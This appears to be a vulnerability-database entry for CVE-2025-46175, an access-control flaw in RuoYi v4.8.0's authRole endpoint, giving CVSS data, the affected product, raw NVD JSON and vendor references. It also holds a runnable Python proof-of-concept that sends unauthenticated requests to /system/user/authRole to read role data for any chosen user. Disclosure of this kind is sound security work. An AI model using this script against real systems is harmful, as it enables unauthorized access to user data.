Security Vulnerability Report
中文
CVE-2025-46175 CVSS 7.5 HIGH

CVE-2025-46175

Published: 2025-11-26 17:15:46
Last Modified: 2025-12-04 17:15:55

Description

Ruoyi v4.8.0 is vulnerable to Incorrect Access Control. There is a missing checkUserDataScope permission check in the authRole method of SysUserController.java.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:ruoyi:ruoyi:4.8.0:*:*:*:*:*:*:* - VULNERABLE
RuoYi v4.8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-46175 PoC - RuoYi v4.8.0 Unauthorized Role Access This PoC demonstrates the missing checkUserDataScope permission check in the authRole method of SysUserController.java """ import requests import json import sys def exploit_cve_2025_46175(target_url, target_user_id): """ Exploit the missing authorization check in authRole endpoint Args: target_url: Base URL of the RuoYi application target_user_id: User ID to query role information for """ # Construct the vulnerable endpoint endpoint = f"{target_url.rstrip('/')}/system/user/authRole" # Payload to query role data for a specific user payload = { "userId": target_user_id } # Headers headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } print(f"[*] Target: {target_url}") print(f"[*] Exploiting endpoint: {endpoint}") print(f"[*] Target User ID: {target_user_id}") try: # Send the request without authentication # The vulnerability exists because the endpoint doesn't check # if the requesting user has permission to view the target user's data response = requests.post(endpoint, json=payload, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") if response.status_code == 200: data = response.json() print(f"[+] Response: {json.dumps(data, indent=2)}") if data.get('code') == 200: print("[!] VULNERABLE: Authorization bypass successful!") print(f"[!] Retrieved role information for user ID: {target_user_id}") return True else: print("[-] Request failed or access denied") return False else: print(f"[-] Unexpected status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2025_46175_poc.py <target_url> <user_id>") print("Example: python cve_2025_46175_poc.py http://vulnerable-site.com 1") sys.exit(1) target_url = sys.argv[1] target_user_id = sys.argv[2] exploit_cve_2025_46175(target_url, target_user_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-46175", "sourceIdentifier": "[email protected]", "published": "2025-11-26T17:15:45.980", "lastModified": "2025-12-04T17:15:54.643", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ruoyi v4.8.0 is vulnerable to Incorrect Access Control. There is a missing checkUserDataScope permission check in the authRole method of SysUserController.java."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ruoyi:ruoyi:4.8.0:*:*:*:*:*:*:*", "matchCriteriaId": "1248589F-5F63-4535-B2C9-EBBA85EA6D83"}]}]}], "references": [{"url": "https://gist.github.com/Han-tj/74d2ed84ede1909da55090fed410d288", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gitee.com/y_project/RuoYi/commit/f935b2782f4237cdbcc13bdce76703e82c42f4fe", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://gitee.com/y_project/RuoYi/issues/IC1FS0", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}